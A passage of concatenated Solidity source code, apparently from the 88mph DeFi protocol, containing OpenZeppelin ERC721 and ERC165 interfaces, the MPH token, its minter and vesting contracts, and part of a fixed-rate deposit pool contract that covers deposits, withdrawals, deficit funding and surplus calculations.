@param tokenId uint256 ID of the token to be transferred */ function _clearApproval(uint256 tokenId) private { if (_tokenApprovals[tokenId] != address(0)) { _tokenApprovals[tokenId] = address(0); } } } pragma solidity ^0.5.0; import "../../introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ contract IERC721 is IERC165 { event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of NFTs in `owner`'s account. */ function balanceOf(address owner) public view returns (uint256 balance); /** * @dev Returns the owner of the NFT specified by `tokenId`. */ function ownerOf(uint256 tokenId) public view returns (address owner); /** * @dev Transfers a specific NFT (`tokenId`) from one account (`from`) to * another (`to`). * * * * Requirements: * - `from`, `to` cannot be zero. * - `tokenId` must be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this * NFT by either {approve} or {setApprovalForAll}. */ function safeTransferFrom(address from, address to, uint256 tokenId) public; /** * @dev Transfers a specific NFT (`tokenId`) from one account (`from`) to * another (`to`). * * Requirements: * - If the caller is not `from`, it must be approved to move this NFT by * either {approve} or {setApprovalForAll}. */ function transferFrom(address from, address to, uint256 tokenId) public; function approve(address to, uint256 tokenId) public; function getApproved(uint256 tokenId) public view returns (address operator); function setApprovalForAll(address operator, bool _approved) public; function isApprovedForAll(address owner, address operator) public view returns (bool); function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public; } pragma solidity ^0.5.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } pragma solidity ^0.5.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ contract IERC721Receiver { /** * @notice Handle the receipt of an NFT * @dev The ERC721 smart contract calls this function on the recipient * after a {IERC721-safeTransferFrom}. This function MUST return the function selector, * otherwise the caller will revert the transaction. The selector to be * returned can be obtained as `this.onERC721Received.selector`. This * function MAY throw to revert and reject the transfer. * Note: the ERC721 contract address is always the message sender. * @param operator The address which called `safeTransferFrom` function * @param from The address which previously owned the token * @param tokenId The NFT identifier which is being transferred * @param data Additional data with no specified format * @return bytes4 `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` */ function onERC721Received(address operator, address from, uint256 tokenId, bytes memory data) public returns (bytes4); } pragma solidity ^0.5.0; import "../math/SafeMath.sol"; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented or decremented by one. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` * Since it is not possible to overflow a 256 bit integer with increments of one, `increment` can skip the {SafeMath} * overflow check, thereby saving gas. This does assume however correct usage, in that the underlying `_value` is never * directly accessed. */ library Counters { using SafeMath for uint256; struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { // The {SafeMath} overflow check can be skipped here, see the comment at the top counter._value += 1; } function decrement(Counter storage counter) internal { counter._value = counter._value.sub(1); } } pragma solidity ^0.5.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts may inherit from this and call {_registerInterface} to declare * their support of an interface. */ contract ERC165 is IERC165 { /* * bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7 */ bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7; /** * @dev Mapping of interface ids to whether or not it's supported. */ mapping(bytes4 => bool) private _supportedInterfaces; constructor () internal { // Derived contracts need only register support for their own interfaces, // we register support for ERC165 itself here _registerInterface(_INTERFACE_ID_ERC165); } /** * @dev See {IERC165-supportsInterface}. * * Time complexity O(1), guaranteed to always use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool) { return _supportedInterfaces[interfaceId]; } /** * @dev Registers the contract as an implementer of the interface defined by * `interfaceId`. Support of the actual ERC165 interface is automatic and * registering its interface id is not required. * * See {IERC165-supportsInterface}. * * Requirements: * * - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`). */ function _registerInterface(bytes4 interfaceId) internal { require(interfaceId != 0xffffffff, "ERC165: invalid interface id"); _supportedInterfaces[interfaceId] = true; } } pragma solidity ^0.5.0; import "./IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ contract IERC721Metadata is IERC721 { function name() external view returns (string memory); function symbol() external view returns (string memory); function tokenURI(uint256 tokenId) external view returns (string memory); } pragma solidity 0.5.17; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/ownership/Ownable.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "./MPHToken.sol"; import "../models/issuance/IMPHIssuanceModel.sol"; import "./Vesting.sol"; contract MPHMinter is Ownable { using Address for address; using SafeMath for uint256; mapping(address => bool) public poolWhitelist; modifier onlyWhitelistedPool { require(poolWhitelist[msg.sender], "MPHMinter: sender not whitelisted"); _; } event ESetParamAddress( address indexed sender, string indexed paramName, address newValue ); event WhitelistPool( address indexed sender, address pool, bool isWhitelisted ); event MintDepositorReward( address indexed sender, address indexed to, uint256 depositorReward ); event TakeBackDepositorReward( address indexed sender, address indexed from, uint256 takeBackAmount ); event MintFunderReward( address indexed sender, address indexed to, uint256 funderReward ); /** External contracts */ MPHToken public mph; address public govTreasury; address public devWallet; IMPHIssuanceModel public issuanceModel; Vesting public vesting; constructor( address _mph, address _govTreasury, address _devWallet, address _issuanceModel, address _vesting ) public { mph = MPHToken(_mph); govTreasury = _govTreasury; devWallet = _devWallet; issuanceModel = IMPHIssuanceModel(_issuanceModel); vesting = Vesting(_vesting); } /** @notice Mints the MPH reward to a depositor upon deposit. @param to The depositor @param depositAmount The deposit amount in the pool's stablecoins @param depositPeriodInSeconds The deposit's lock period in seconds @param interestAmount The deposit's fixed-rate interest amount in the pool's stablecoins @return depositorReward The MPH amount to mint to the depositor */ function mintDepositorReward( address to, uint256 depositAmount, uint256 depositPeriodInSeconds, uint256 interestAmount ) external onlyWhitelistedPool returns (uint256) { if (mph.owner() != address(this)) { // not the owner of the MPH token, cannot mint emit MintDepositorReward(msg.sender, to, 0); return 0; } ( uint256 depositorReward, uint256 devReward, uint256 govReward ) = issuanceModel.computeDepositorReward( msg.sender, depositAmount, depositPeriodInSeconds, interestAmount ); if (depositorReward == 0 && devReward == 0 && govReward == 0) { return 0; } // mint and vest depositor reward mph.ownerMint(address(this), depositorReward); uint256 vestPeriodInSeconds = issuanceModel .poolDepositorRewardVestPeriod(msg.sender); if (vestPeriodInSeconds == 0) { // no vesting, transfer to `to` mph.transfer(to, depositorReward); } else { // vest the MPH to `to` mph.increaseAllowance(address(vesting), depositorReward); vesting.vest(to, depositorReward, vestPeriodInSeconds); } mph.ownerMint(devWallet, devReward); mph.ownerMint(govTreasury, govReward); emit MintDepositorReward(msg.sender, to, depositorReward); return depositorReward; } /** @notice Takes back MPH from depositor upon withdrawal. If takeBackAmount > devReward + govReward, the extra MPH should be burnt. @param from The depositor @param mintMPHAmount The MPH amount originally minted to the depositor as reward @param early True if the deposit is withdrawn early, false if the deposit is mature @return takeBackAmount The MPH amount to take back from the depositor */ function takeBackDepositorReward( address from, uint256 mintMPHAmount, bool early ) external onlyWhitelistedPool returns (uint256) { ( uint256 takeBackAmount, uint256 devReward, uint256 govReward ) = issuanceModel.computeTakeBackDepositorRewardAmount( msg.sender, mintMPHAmount, early ); if (takeBackAmount == 0 && devReward == 0 && govReward == 0) { return 0; } require( takeBackAmount >= devReward.add(govReward), "MPHMinter: takeBackAmount < devReward + govReward" ); mph.transferFrom(from, address(this), takeBackAmount); mph.transfer(devWallet, devReward); mph.transfer(govTreasury, govReward); mph.burn(takeBackAmount.sub(devReward).sub(govReward)); emit TakeBackDepositorReward(msg.sender, from, takeBackAmount); return takeBackAmount; } /** @notice Mints the MPH reward to a deficit funder upon withdrawal of an underlying deposit. @param to The funder @param depositAmount The deposit amount in the pool's stablecoins @param fundingCreationTimestamp The timestamp of the funding's creation, in seconds @param maturationTimestamp The maturation timestamp of the deposit, in seconds @param interestPayoutAmount The interest payout amount to the funder, in the pool's stablecoins. Includes the interest from other funded deposits. @param early True if the deposit is withdrawn early, false if the deposit is mature @return funderReward The MPH amount to mint to the funder */ function mintFunderReward( address to, uint256 depositAmount, uint256 fundingCreationTimestamp, uint256 maturationTimestamp, uint256 interestPayoutAmount, bool early ) external onlyWhitelistedPool returns (uint256) { if (mph.owner() != address(this)) { // not the owner of the MPH token, cannot mint emit MintDepositorReward(msg.sender, to, 0); return 0; } ( uint256 funderReward, uint256 devReward, uint256 govReward ) = issuanceModel.computeFunderReward( msg.sender, depositAmount, fundingCreationTimestamp, maturationTimestamp, interestPayoutAmount, early ); if (funderReward == 0 && devReward == 0 && govReward == 0) { return 0; } // mint and vest funder reward mph.ownerMint(address(this), funderReward); uint256 vestPeriodInSeconds = issuanceModel.poolFunderRewardVestPeriod( msg.sender ); if (vestPeriodInSeconds == 0) { // no vesting, transfer to `to` mph.transfer(to, funderReward); } else { // vest the MPH to `to` mph.increaseAllowance(address(vesting), funderReward); vesting.vest(to, funderReward, vestPeriodInSeconds); } mph.ownerMint(devWallet, devReward); mph.ownerMint(govTreasury, govReward); emit MintFunderReward(msg.sender, to, funderReward); return funderReward; } /** Param setters */ function setGovTreasury(address newValue) external onlyOwner { require(newValue != address(0), "MPHMinter: 0 address"); govTreasury = newValue; emit ESetParamAddress(msg.sender, "govTreasury", newValue); } function setDevWallet(address newValue) external onlyOwner { require(newValue != address(0), "MPHMinter: 0 address"); devWallet = newValue; emit ESetParamAddress(msg.sender, "devWallet", newValue); } function setMPHTokenOwner(address newValue) external onlyOwner { require(newValue != address(0), "MPHMinter: 0 address"); mph.transferOwnership(newValue); emit ESetParamAddress(msg.sender, "mphTokenOwner", newValue); } function setMPHTokenOwnerToZero() external onlyOwner { mph.renounceOwnership(); emit ESetParamAddress(msg.sender, "mphTokenOwner", address(0)); } function setIssuanceModel(address newValue) external onlyOwner { require(newValue.isContract(), "MPHMinter: not contract"); issuanceModel = IMPHIssuanceModel(newValue); emit ESetParamAddress(msg.sender, "issuanceModel", newValue); } function setVesting(address newValue) external onlyOwner { require(newValue.isContract(), "MPHMinter: not contract"); vesting = Vesting(newValue); emit ESetParamAddress(msg.sender, "vesting", newValue); } function setPoolWhitelist(address pool, bool isWhitelisted) external onlyOwner { require(pool.isContract(), "MPHMinter: pool not contract"); poolWhitelist[pool] = isWhitelisted; emit WhitelistPool(msg.sender, pool, isWhitelisted); } } pragma solidity 0.5.17; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20Burnable.sol"; import "@openzeppelin/contracts/ownership/Ownable.sol"; contract MPHToken is ERC20, ERC20Burnable, Ownable { string public constant name = "88mph.app"; string public constant symbol = "MPH"; uint8 public constant decimals = 18; bool public initialized; function init() public { require(!initialized, "MPHToken: initialized"); initialized = true; _transferOwnership(msg.sender); } function ownerMint(address account, uint256 amount) public onlyOwner returns (bool) { _mint(account, amount); return true; } } pragma solidity ^0.5.0; import "../../GSN/Context.sol"; import "./ERC20.sol"; /** * @dev Extension of {ERC20} that allows token holders to destroy both their own * tokens and those that they have an allowance for, in a way that can be * recognized off-chain (via event analysis). */ contract ERC20Burnable is Context, ERC20 { /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public { _burn(_msgSender(), amount); } /** * @dev See {ERC20-_burnFrom}. */ function burnFrom(address account, uint256 amount) public { _burnFrom(account, amount); } } pragma solidity 0.5.17; interface IMPHIssuanceModel { /** @notice Computes the MPH amount to reward to a depositor upon deposit. @param pool The DInterest pool trying to mint reward @param depositAmount The deposit amount in the pool's stablecoins @param depositPeriodInSeconds The deposit's lock period in seconds @param interestAmount The deposit's fixed-rate interest amount in the pool's stablecoins @return depositorReward The MPH amount to mint to the depositor devReward The MPH amount to mint to the dev wallet govReward The MPH amount to mint to the gov treasury */ function computeDepositorReward( address pool, uint256 depositAmount, uint256 depositPeriodInSeconds, uint256 interestAmount ) external view returns ( uint256 depositorReward, uint256 devReward, uint256 govReward ); /** @notice Computes the MPH amount to take back from a depositor upon withdrawal. If takeBackAmount > devReward + govReward, the extra MPH should be burnt. @param pool The DInterest pool trying to mint reward @param mintMPHAmount The MPH amount originally minted to the depositor as reward @param early True if the deposit is withdrawn early, false if the deposit is mature @return takeBackAmount The MPH amount to take back from the depositor devReward The MPH amount from takeBackAmount to send to the dev wallet govReward The MPH amount from takeBackAmount to send to the gov treasury */ function computeTakeBackDepositorRewardAmount( address pool, uint256 mintMPHAmount, bool early ) external view returns ( uint256 takeBackAmount, uint256 devReward, uint256 govReward ); /** @notice Computes the MPH amount to reward to a deficit funder upon withdrawal of an underlying deposit. @param pool The DInterest pool trying to mint reward @param depositAmount The deposit amount in the pool's stablecoins @param fundingCreationTimestamp The timestamp of the funding's creation, in seconds @param maturationTimestamp The maturation timestamp of the deposit, in seconds @param interestPayoutAmount The interest payout amount to the funder, in the pool's stablecoins. Includes the interest from other funded deposits. @param early True if the deposit is withdrawn early, false if the deposit is mature @return funderReward The MPH amount to mint to the funder devReward The MPH amount to mint to the dev wallet govReward The MPH amount to mint to the gov treasury */ function computeFunderReward( address pool, uint256 depositAmount, uint256 fundingCreationTimestamp, uint256 maturationTimestamp, uint256 interestPayoutAmount, bool early ) external view returns ( uint256 funderReward, uint256 devReward, uint256 govReward ); /** @notice The period over which the depositor reward will be vested, in seconds. */ function poolDepositorRewardVestPeriod(address pool) external view returns (uint256 vestPeriodInSeconds); /** @notice The period over which the funder reward will be vested, in seconds. */ function poolFunderRewardVestPeriod(address pool) external view returns (uint256 vestPeriodInSeconds); } pragma solidity 0.5.17; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; contract Vesting { using SafeERC20 for IERC20; using SafeMath for uint256; struct Vest { uint256 amount; uint256 vestPeriodInSeconds; uint256 creationTimestamp; uint256 withdrawnAmount; } mapping(address => Vest[]) public accountVestList; IERC20 public token; constructor(address _token) public { token = IERC20(_token); } function vest( address to, uint256 amount, uint256 vestPeriodInSeconds ) external returns (uint256 vestIdx) { require(vestPeriodInSeconds > 0, "Vesting: vestPeriodInSeconds == 0"); // transfer `amount` tokens from `msg.sender` token.safeTransferFrom(msg.sender, address(this), amount); // create vest object vestIdx = accountVestList[to].length; accountVestList[to].push( Vest({ amount: amount, vestPeriodInSeconds: vestPeriodInSeconds, creationTimestamp: now, withdrawnAmount: 0 }) ); } function withdrawVested(address account, uint256 vestIdx) external returns (uint256 withdrawnAmount) { // compute withdrawable amount withdrawnAmount = _getVestWithdrawableAmount(account, vestIdx); if (withdrawnAmount == 0) { return 0; } // update vest object uint256 recordedWithdrawnAmount = accountVestList[account][vestIdx] .withdrawnAmount; accountVestList[account][vestIdx] .withdrawnAmount = recordedWithdrawnAmount.add(withdrawnAmount); // transfer tokens to vest recipient token.safeTransfer(account, withdrawnAmount); } function getVestWithdrawableAmount(address account, uint256 vestIdx) external view returns (uint256) { return _getVestWithdrawableAmount(account, vestIdx); } function _getVestWithdrawableAmount(address account, uint256 vestIdx) internal view returns (uint256) { // read vest data Vest storage vest = accountVestList[account][vestIdx]; uint256 vestFullAmount = vest.amount; uint256 vestCreationTimestamp = vest.creationTimestamp; uint256 vestPeriodInSeconds = vest.vestPeriodInSeconds; // compute vested amount uint256 vestedAmount; if (now >= vestCreationTimestamp.add(vestPeriodInSeconds)) { // vest period has passed, fully withdrawable vestedAmount = vestFullAmount; } else { // vest period has not passed, linearly unlock vestedAmount = vestFullAmount .mul(now.sub(vestCreationTimestamp)) .div(vestPeriodInSeconds); } // deduct already withdrawn amount and return return vestedAmount.sub(vest.withdrawnAmount); } } pragma solidity 0.5.17; interface IInterestOracle { function updateAndQuery() external returns (bool updated, uint256 value); function query() external view returns (uint256 value); function moneyMarket() external view returns (address); } pragma solidity 0.5.17; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/utils/ReentrancyGuard.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/ownership/Ownable.sol"; import "./libs/DecMath.sol"; import "./moneymarkets/IMoneyMarket.sol"; import "./models/fee/IFeeModel.sol"; import "./models/interest/IInterestModel.sol"; import "./NFT.sol"; import "./rewards/MPHMinter.sol"; import "./models/interest-oracle/IInterestOracle.sol"; // DeLorean Interest -- It's coming back from the future! // EL PSY CONGROO // Author: Zefram Lou // Contact: [email protected] contract DInterestWithDepositFee is ReentrancyGuard, Ownable { using SafeMath for uint256; using DecMath for uint256; using SafeERC20 for ERC20; using Address for address; // Constants uint256 internal constant PRECISION = 10**18; uint256 internal constant ONE = 10**18; uint256 internal constant EXTRA_PRECISION = 10**27; // used for sumOfRecordedFundedDepositAndInterestAmountDivRecordedIncomeIndex // User deposit data // Each deposit has an ID used in the depositNFT, which is equal to its index in `deposits` plus 1 struct Deposit { uint256 amount; // Amount of stablecoin deposited uint256 maturationTimestamp; // Unix timestamp after which the deposit may be withdrawn, in seconds uint256 interestOwed; // Deficit incurred to the pool at time of deposit uint256 initialMoneyMarketIncomeIndex; // Money market's income index at time of deposit bool active; // True if not yet withdrawn, false if withdrawn bool finalSurplusIsNegative; uint256 finalSurplusAmount; // Surplus remaining after withdrawal uint256 mintMPHAmount; // Amount of MPH minted to user uint256 depositTimestamp; // Unix timestamp at time of deposit, in seconds } Deposit[] internal deposits; uint256 public latestFundedDepositID; // the ID of the most recently created deposit that was funded uint256 public unfundedUserDepositAmount; // the deposited stablecoin amount (plus interest owed) whose deficit hasn't been funded // Funding data // Each funding has an ID used in the fundingNFT, which is equal to its index in `fundingList` plus 1 struct Funding { // deposits with fromDepositID < ID <= toDepositID are funded uint256 fromDepositID; uint256 toDepositID; uint256 recordedFundedDepositAmount; // the current stablecoin amount earning interest for the funder uint256 recordedMoneyMarketIncomeIndex; // the income index at the last update (creation or withdrawal) uint256 creationTimestamp; // Unix timestamp at time of deposit, in seconds } Funding[] internal fundingList; // the sum of (recordedFundedDepositAmount / recordedMoneyMarketIncomeIndex) of all fundings uint256 public sumOfRecordedFundedDepositAndInterestAmountDivRecordedIncomeIndex; // Params uint256 public MinDepositPeriod; // Minimum deposit period, in seconds uint256 public MaxDepositPeriod; // Maximum deposit period, in seconds uint256 public MinDepositAmount; // Minimum deposit amount for each deposit, in stablecoins uint256 public MaxDepositAmount; // Maximum deposit amount for each deposit, in stablecoins uint256 public DepositFee; // The deposit fee charged by the money market // Instance variables uint256 public totalDeposit; uint256 public totalInterestOwed; // External smart contracts IMoneyMarket public moneyMarket; ERC20 public stablecoin; IFeeModel public feeModel; IInterestModel public interestModel; IInterestOracle public interestOracle; NFT public depositNFT; NFT public fundingNFT; MPHMinter public mphMinter; // Events event EDeposit( address indexed sender, uint256 indexed depositID, uint256 amount, uint256 maturationTimestamp, uint256 interestAmount, uint256 mintMPHAmount ); event EWithdraw( address indexed sender, uint256 indexed depositID, uint256 indexed fundingID, bool early, uint256 takeBackMPHAmount ); event EFund( address indexed sender, uint256 indexed fundingID, uint256 deficitAmount ); event ESetParamAddress( address indexed sender, string indexed paramName, address newValue ); event ESetParamUint( address indexed sender, string indexed paramName, uint256 newValue ); struct DepositLimit { uint256 MinDepositPeriod; uint256 MaxDepositPeriod; uint256 MinDepositAmount; uint256 MaxDepositAmount; uint256 DepositFee; } constructor( DepositLimit memory _depositLimit, address _moneyMarket, // Address of IMoneyMarket that's used for generating interest (owner must be set to this DInterest contract) address _stablecoin, // Address of the stablecoin used to store funds address _feeModel, // Address of the FeeModel contract that determines how fees are charged address _interestModel, // Address of the InterestModel contract that determines how much interest to offer address _interestOracle, // Address of the InterestOracle contract that provides the average interest rate address _depositNFT, // Address of the NFT representing ownership of deposits (owner must be set to this DInterest contract) address _fundingNFT, // Address of the NFT representing ownership of fundings (owner must be set to this DInterest contract) address _mphMinter // Address of the contract for handling minting MPH to users ) public { // Verify input addresses require( _moneyMarket.isContract() && _stablecoin.isContract() && _feeModel.isContract() && _interestModel.isContract() && _interestOracle.isContract() && _depositNFT.isContract() && _fundingNFT.isContract() && _mphMinter.isContract(), "DInterest: An input address is not a contract" ); moneyMarket = IMoneyMarket(_moneyMarket); stablecoin = ERC20(_stablecoin); feeModel = IFeeModel(_feeModel); interestModel = IInterestModel(_interestModel); interestOracle = IInterestOracle(_interestOracle); depositNFT = NFT(_depositNFT); fundingNFT = NFT(_fundingNFT); mphMinter = MPHMinter(_mphMinter); // Ensure moneyMarket uses the same stablecoin require( moneyMarket.stablecoin() == _stablecoin, "DInterest: moneyMarket.stablecoin() != _stablecoin" ); // Ensure interestOracle uses the same moneyMarket require( interestOracle.moneyMarket() == _moneyMarket, "DInterest: interestOracle.moneyMarket() != _moneyMarket" ); // Verify input uint256 parameters require( _depositLimit.MaxDepositPeriod > 0 && _depositLimit.MaxDepositAmount > 0, "DInterest: An input uint256 is 0" ); require( _depositLimit.MinDepositPeriod <= _depositLimit.MaxDepositPeriod, "DInterest: Invalid DepositPeriod range" ); require( _depositLimit.MinDepositAmount <= _depositLimit.MaxDepositAmount, "DInterest: Invalid DepositAmount range" ); MinDepositPeriod = _depositLimit.MinDepositPeriod; MaxDepositPeriod = _depositLimit.MaxDepositPeriod; MinDepositAmount = _depositLimit.MinDepositAmount; MaxDepositAmount = _depositLimit.MaxDepositAmount; DepositFee = _depositLimit.DepositFee; totalDeposit = 0; } /** Public actions */ function deposit(uint256 amount, uint256 maturationTimestamp) external nonReentrant { _deposit(amount, maturationTimestamp); } function withdraw(uint256 depositID, uint256 fundingID) external nonReentrant { _withdraw(depositID, fundingID, false); } function earlyWithdraw(uint256 depositID, uint256 fundingID) external nonReentrant { _withdraw(depositID, fundingID, true); } function multiDeposit( uint256[] calldata amountList, uint256[] calldata maturationTimestampList ) external nonReentrant { require( amountList.length == maturationTimestampList.length, "DInterest: List lengths unequal" ); for (uint256 i = 0; i < amountList.length; i = i.add(1)) { _deposit(amountList[i], maturationTimestampList[i]); } } function multiWithdraw( uint256[] calldata depositIDList, uint256[] calldata fundingIDList ) external nonReentrant { require( depositIDList.length == fundingIDList.length, "DInterest: List lengths unequal" ); for (uint256 i = 0; i < depositIDList.length; i = i.add(1)) { _withdraw(depositIDList[i], fundingIDList[i], false); } } function multiEarlyWithdraw( uint256[] calldata depositIDList, uint256[] calldata fundingIDList ) external nonReentrant { require( depositIDList.length == fundingIDList.length, "DInterest: List lengths unequal" ); for (uint256 i = 0; i < depositIDList.length; i = i.add(1)) { _withdraw(depositIDList[i], fundingIDList[i], true); } } /** Deficit funding */ function fundAll() external nonReentrant { // Calculate current deficit (bool isNegative, uint256 deficit) = surplus(); require(isNegative, "DInterest: No deficit available"); require( !depositIsFunded(deposits.length), "DInterest: All deposits funded" ); // Create funding struct uint256 incomeIndex = moneyMarket.incomeIndex(); require(incomeIndex > 0, "DInterest: incomeIndex == 0"); fundingList.push( Funding({ fromDepositID: latestFundedDepositID, toDepositID: deposits.length, recordedFundedDepositAmount: unfundedUserDepositAmount, recordedMoneyMarketIncomeIndex: incomeIndex, creationTimestamp: now }) ); // Update relevant values sumOfRecordedFundedDepositAndInterestAmountDivRecordedIncomeIndex = sumOfRecordedFundedDepositAndInterestAmountDivRecordedIncomeIndex .add( unfundedUserDepositAmount.mul(EXTRA_PRECISION).div(incomeIndex) ); latestFundedDepositID = deposits.length; unfundedUserDepositAmount = 0; _fund(deficit); } function fundMultiple(uint256 toDepositID) external nonReentrant { require( toDepositID > latestFundedDepositID, "DInterest: Deposits already funded" ); require( toDepositID <= deposits.length, "DInterest: Invalid toDepositID" ); (bool isNegative, uint256 surplus) = surplus(); require(isNegative, "DInterest: No deficit available"); uint256 totalDeficit = 0; uint256 totalSurplus = 0; uint256 totalDepositAndInterestToFund = 0; // Deposits with ID [latestFundedDepositID+1, toDepositID] will be funded for ( uint256 id = latestFundedDepositID.add(1); id <= toDepositID; id = id.add(1) ) { Deposit storage depositEntry = _getDeposit(id); if (depositEntry.active) { // Deposit still active, use current surplus (isNegative, surplus) = surplusOfDeposit(id); } else { // Deposit has been withdrawn, use recorded final surplus (isNegative, surplus) = ( depositEntry.finalSurplusIsNegative, depositEntry.finalSurplusAmount ); } if (isNegative) { // Add on deficit to total totalDeficit = totalDeficit.add(surplus); } else { // Has surplus totalSurplus = totalSurplus.add(surplus); } if (depositEntry.active) { totalDepositAndInterestToFund = totalDepositAndInterestToFund .add(depositEntry.amount) .add(depositEntry.interestOwed); } } if (totalSurplus >= totalDeficit) { // Deposits selected have a surplus as a whole, revert revert("DInterest: Selected deposits in surplus"); } else { // Deduct surplus from totalDeficit totalDeficit = totalDeficit.sub(totalSurplus); } // Create funding struct uint256 incomeIndex = moneyMarket.incomeIndex(); require(incomeIndex > 0, "DInterest: incomeIndex == 0"); fundingList.push( Funding({ fromDepositID: latestFundedDepositID, toDepositID: toDepositID, recordedFundedDepositAmount: totalDepositAndInterestToFund, recordedMoneyMarketIncomeIndex: incomeIndex, creationTimestamp: now }) ); // Update relevant values sumOfRecordedFundedDepositAndInterestAmountDivRecordedIncomeIndex = sumOfRecordedFundedDepositAndInterestAmountDivRecordedIncomeIndex .add( totalDepositAndInterestToFund.mul(EXTRA_PRECISION).div(incomeIndex) ); latestFundedDepositID = toDepositID; unfundedUserDepositAmount = unfundedUserDepositAmount.sub( totalDepositAndInterestToFund ); _fund(totalDeficit); } function payInterestToFunder(uint256 fundingID) external returns (uint256 interestAmount) { address funder = fundingNFT.ownerOf(fundingID); require(funder == msg.sender, "DInterest: not funder"); Funding storage f = _getFunding(fundingID); uint256 currentMoneyMarketIncomeIndex = moneyMarket.incomeIndex(); interestAmount = f .recordedFundedDepositAmount .mul(currentMoneyMarketIncomeIndex) .div(f.recordedMoneyMarketIncomeIndex) .sub(f.recordedFundedDepositAmount); // Update funding values sumOfRecordedFundedDepositAndInterestAmountDivRecordedIncomeIndex = sumOfRecordedFundedDepositAndInterestAmountDivRecordedIncomeIndex .sub( f.recordedFundedDepositAmount.mul(EXTRA_PRECISION).div( f.recordedMoneyMarketIncomeIndex ) ); f.recordedMoneyMarketIncomeIndex = currentMoneyMarketIncomeIndex; sumOfRecordedFundedDepositAndInterestAmountDivRecordedIncomeIndex = sumOfRecordedFundedDepositAndInterestAmountDivRecordedIncomeIndex .add( f.recordedFundedDepositAmount.mul(EXTRA_PRECISION).div( f.recordedMoneyMarketIncomeIndex ) ); // Send interest to funder if (interestAmount > 0) { interestAmount = moneyMarket.withdraw(interestAmount); if (interestAmount > 0) { stablecoin.safeTransfer(funder, interestAmount); } } } /** Public getters */ function calculateInterestAmount( uint256 depositAmount, uint256 depositPeriodInSeconds ) public returns (uint256 interestAmount) { (, uint256 moneyMarketInterestRatePerSecond) = interestOracle.updateAndQuery(); (bool surplusIsNegative, uint256 surplusAmount) = surplus(); return interestModel.calculateInterestAmount( depositAmount, depositPeriodInSeconds, moneyMarketInterestRatePerSecond, surplusIsNegative, surplusAmount ); } /** @notice Computes the floating interest amount owed to deficit funders, which will be paid out when a funded deposit is withdrawn. Formula: \sum_i recordedFundedDepositAmount_i * (incomeIndex / recordedMoneyMarketIncomeIndex_i - 1) = incomeIndex * (\sum_i recordedFundedDepositAmount_i / recordedMoneyMarketIncomeIndex_i) - (totalDeposit + totalInterestOwed - unfundedUserDepositAmount) where i refers to a funding */ function totalInterestOwedToFunders() public returns (uint256 interestOwed) { uint256 currentValue = moneyMarket .incomeIndex() .mul( sumOfRecordedFundedDepositAndInterestAmountDivRecordedIncomeIndex ) .div(EXTRA_PRECISION); uint256 initialValue = totalDeposit.add(totalInterestOwed).sub(unfundedUserDepositAmount); if (currentValue < initialValue) { return 0; } return currentValue.sub(initialValue); } function surplus() public returns (bool isNegative, uint256 surplusAmount) { uint256 totalValue = moneyMarket.totalValue(); uint256 totalOwed = totalDeposit.add(totalInterestOwed).add( totalInterestOwedToFunders() ); if (totalValue >= totalOwed) { // Locked value more than owed deposits, positive surplus isNegative = false; surplusAmount = totalValue.sub(totalOwed); } else { // Locked value less than owed deposits, negative surplus isNegative = true; surplusAmount = totalOwed.sub(totalValue); } } function surplusOfDeposit(uint256 depositID) public returns (bool isNegative, uint256 surplusAmount) { Deposit storage depositEntry = _getDeposit(depositID); uint256 currentMoneyMarketIncomeIndex = moneyMarket.incomeIndex(); uint256 currentDepositValue = depositEntry.amount.mul(currentMoneyMarketIncomeIndex).div( depositEntry.initialMoneyMarketIncomeIndex ); uint256 owed = depositEntry.amount.add(depositEntry.interestOwed); if (currentDepositValue >= owed) { // Locked value more than owed deposits, positive surplus isNegative = false; surplusAmount = currentDepositValue.sub(owed); } else { // Locked value less than owed deposits, negative surplus isNegative = true; surplusAmount = owed.sub(currentDepositValue); } } function 